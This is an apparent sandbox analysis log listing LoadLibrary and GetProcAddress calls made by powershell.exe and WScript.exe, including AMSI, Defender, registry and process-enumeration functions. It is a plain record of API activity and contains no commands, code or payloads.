%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00000160) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00000160)34:T17f83,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00006196) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006196) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileType 